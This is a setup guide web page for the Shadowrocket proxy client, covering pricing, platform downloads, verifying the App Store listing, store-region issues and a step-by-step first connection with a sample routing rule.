Official Shadowrocket app icon

Official website · Official manual

Shadowrocket Guide

Rule-based proxy client for all platforms for connecting to existing services and routing traffic by rules.
iPhone / iPad: $2.99 one-time via App Store; Mac, Windows, Android and Linux: free.

Current version Loading · iPhone / iPad: $2.99 one-time; other platforms: free

First-time setup: add an existing subscription and test the connection →
iPhone / iPad: $2.99 one-time · other platforms: free

Connections and setup

Shadowrocket Core features

Distinguish server details, configuration files and the connection switch, then consult the relevant settings for your needs. The examples below explain syntax only; they do not include usable server or subscription details.

Handle requests by matching rules

Rule routing determines whether requests use a proxy, connect directly or are rejected. Select a configuration file in Config, then choose Config under Home's Global Routing to process requests using that file's rules. DOMAIN-SUFFIX matches domain suffixes, GEOIP matches the region associated with an IP address, and FINAL handles requests not matched earlier. Read rules from top to bottom, placing specific rules before broad ones. After switching to Proxy or Direct, do not use the previous routing results to judge whether the configuration is working.

DOMAIN-SUFFIX,example.com,PROXY
GEOIP,CN,DIRECT
FINAL,PROXY

For step-by-step explanations of DNS, Ping, Log or Proxy settings, see the settings manual. For rule terminology, start with the glossary.

Get the app by device

All-platform access and version selection

Two ways to get the app: iPhone / iPad via App Store for $2.99 one-time; Mac, Windows, Android and Linux versions are free. Installers on this site are provided at /dl/shadowrocket/. File formats and installation steps are covered on the download page.

iPhone / iPad

App Store: $2.99 one-time; other platforms are free. The purchase covers both devices. Check the App Store product page for system requirements. On the product page, verify the developer and app ID before following the store instructions. If the app does not appear in search results, check the store region associated with your account and age-rating restrictions. Do not identify an app by a similar name.

Mac

Free · Apple Silicon / Intel; iPhone / iPad: $2.99 one-time. Check About This Mac for the chip or processor, then choose the matching dmg. The versions are distinguished by processor, not by the device's appearance. If you see an “unable to verify developer” message on first launch, confirm the installer came from this site, then follow the “Privacy & Security” steps on the download page.

Windows

Free; iPhone / iPad: $2.99 one-time. The download page provides a 64-bit Windows exe. Check your system type and save your current configuration before updating. If SmartScreen appears on first launch, verify the file source, then select “More info → Run anyway.” Computers managed by an organization may also be subject to administrator policies.

Android

Free · arm64 apk; iPhone / iPad: $2.99 one-time. Get the file from this site's download page. If Android requests permission, enable “Allow from this source” only for the browser or file manager used for this installation. You can revoke permission afterward. If a download will not start inside WeChat, use its menu to open the page in a browser and retry from the original page.

Linux

Free · deb / rpm / AppImage; iPhone / iPad: $2.99 one-time. Choose a format based on your distribution and package manager, not file size. AppImage requires execute permission; install deb and rpm packages with the corresponding system tools. The download page lists the relevant steps. Before running a command, check the terminal's current directory and the actual filename.

View all platforms →

App identity and access

Verify the app and understand purchases

Shadowrocket is a closed-source commercial app. Verify the product identity, purchase record and configuration source separately; apps with the same name are not necessarily the same product.

Developer Shadow Launch Technology Limited App ID 932747118 Two ways to get the app: iPhone / iPad: $2.99 one-time · other platforms: free

Verify three details on the product page

Before getting Shadowrocket for iPhone / iPad, verify the developer name, official icon and app ID. The developer should be Shadow Launch Technology Limited, the product page URL should end in 932747118, and the icon should match the official icon at the top of this page. Search result names, keywords or positions are not enough to identify an app. Open the details page and check each item to distinguish the actual product page from similar search results.

If you see an entry with the same name, do not rely on its screenshots or description to identify Shadowrocket's features. Open the specified product page from this site's download page and check the information shown in the store. For iPhone / iPad, system compatibility is as listed on the App Store page. Get desktop and Android versions from this site's download page; installers are located under /dl/shadowrocket/.

Store visibility depends on account region

Whether the app appears in App Store search depends on the store region associated with your account, not only on your device's location. If the app is unavailable in the mainland China store, first check your account's country or region, age-rating restrictions and sign-in status. Check separately whether the product page opens and whether a purchase can be completed. If the page says the app is unavailable, follow the store guidance instead of repeatedly changing client settings.

If you need to change your account region, review the requirements in your system account settings and handle any balance, subscription or payment-method requirements yourself. This manual explains how to check; it does not manage accounts. If you already have the app, keep the original purchase account details so you can find the record in your purchases later. See store and account region details for more troubleshooting steps.

One-time purchase and restoring on a new device

The US App Store price for iPhone / iPad is $2.99 one-time; other storefronts show local currency. Mac, Windows, Android and Linux versions are free. iPhone and iPad share a purchase. When changing devices or reinstalling, use the original purchase account to check your purchases. Do not buy again just because the app icon is missing on a new device. If the purchase record is not visible, check that the account used for the purchase matches the current store account.

Restoring the app and restoring its configuration are separate processes. After reinstalling the client, check your server details, subscription URL and selected configuration file. Before changing devices, export the Config files you want to keep, check iCloud sync status and save your service details securely. Before connecting on a new device, confirm the target server and Global Routing, then turn on the connection. Installing the app does not restore all personal settings.

Client purchase ≠ server plan

The client manages your existing servers and connection settings; buying the app does not provide a usable server. This site does not provide, sell or recommend nodes or subscriptions. Before setup, have your own subscription URL or server details and confirm that the service is active. If you do not have these details yet, you can still read about the interface and rules, but an empty server list does not mean installation failed.

A subscription provides server details, while Config contains request-handling rules; they update different things. If a subscription stops working, check the address and service status with your own provider. If routing does not work as expected, check the current mode and configuration. Separating these troubleshooting paths can prevent repeated reinstalls that do not address the original issue. Treat authentication details in subscriptions as personal information and do not share them publicly.

Save your configuration before updating

Manage iPhone / iPad app updates through App Store. Get installers for Mac, Windows, Android and Linux from this site's download page. Use the version information loaded dynamically on the page and the version shown in the app. Before updating, note the selected server and configuration, and export any files you want to keep. After updating, test a scenario that worked before changing other settings, so configuration changes and program changes are not confused.

If the system blocks a first launch on desktop or Android, confirm the file came from this site, then read the installation approval instructions. Choose the Mac Apple Silicon or Intel version based on About This Mac; check the Windows system architecture, Android installation permissions, and Linux package format and execute permission. Do not disable system protection entirely to bypass a prompt for one file, and follow any device management requirements set by your organization.

Choose a manual based on where the issue occurs

Downloading, importing, connecting and accessing a website are four separate steps. If the installer will not run, start with the installation instructions. If a subscription will not update, check the link and current network. If the connection switch cannot maintain a connection, check the server parameters. If only some websites have access issues, check DNS, Global Routing and rule matching. Keep a record of what happened and what you changed; there is no need to reset every setting at once.

This page covers the setup sequence and key concepts. See the getting started guide for detailed steps. For an individual setting, see the settings manual. If the app is missing from search, a purchase record does not appear or test results differ from actual access, use the FAQ to check each issue. When reporting an issue, include the system, network type and steps that failed. Keep only relevant details in logs and remove personal authentication information.

First connection sequence

From an existing service to a verified connection

The steps below use Home, Add Server and Config on iPhone / iPad as a reference. First verify a manual connection, then configure automatic connections and more specific rules.

  1. Add Server: add a server or subscription

    First identify whether your details are for a single server or a subscription URL that updates a server collection. For a single server, select the matching Type in Add Server, then enter Host, Port and authentication fields. For a subscription, select Subscribe and enter your existing complete URL. After saving, return to Home and check that an entry appears in the SERVER group and belongs to the imported content. Before importing a QR code, also verify that it comes from your own service details.

    Do not enter a routing configuration URL in a subscription field or use a webpage sharing URL as a server address. If the list is empty after import, first check the information type, whether it was copied in full and whether the current network can access the subscription URL. When entering details manually, check for leading or trailing spaces, port digits and protocol-specific fields. The same address with different authentication or transport parameters can still fail to connect. Verify the details before continuing, and keep the original information for reference.

  2. Global Routing: check Config / Proxy / Direct

    Config processes requests using the selected configuration file; Proxy uses proxy mode; Direct uses direct mode. For rule routing, first confirm the active configuration file in Config, then choose Config under Global Routing in Home. A server entry determines the connection target but does not select the routing mode. Selecting a server does not mean all requests will use it.

    When troubleshooting for the first time, note the current mode so you can restore it after switching. If a website behaves unexpectedly, first check which rule should match the request, then verify the mode. If necessary, compare results with a single test scenario instead of adding many rules straight away. Modes and rule keywords are different concepts; understand Proxy and Direct in the interface separately from PROXY and DIRECT in rule entries.

  3. Home: turn on the switch and check actual access

    After confirming the server and mode, turn on the connection switch at the top of Home and allow the VPN configuration when prompted by the system. Once connected, run Connectivity Test, then open a website you need to access. Test results describe only the specific test method and do not represent access to every website. Also check whether the page loads, whether the network is stable and whether requests are handled as expected.

    If something goes wrong, change one condition at a time: switch to a server you have already verified, check the mode, then review relevant rules and DNS. If the connection starts automatically after you turn the switch off, check the On Demand trigger conditions. If only one Wi-Fi network fails, compare it with cellular and note the differences. Data and Diagnostics can provide additional clues, but remove server authentication details and subscription URLs before sharing screenshots or logs.

View the complete guide →

Browse by issue

Installation and setup articles

After establishing a basic connection, choose guides by device and use case. For installation, check the system prompt; for automatic connections, check trigger conditions; for store issues, check account status.

View all articles →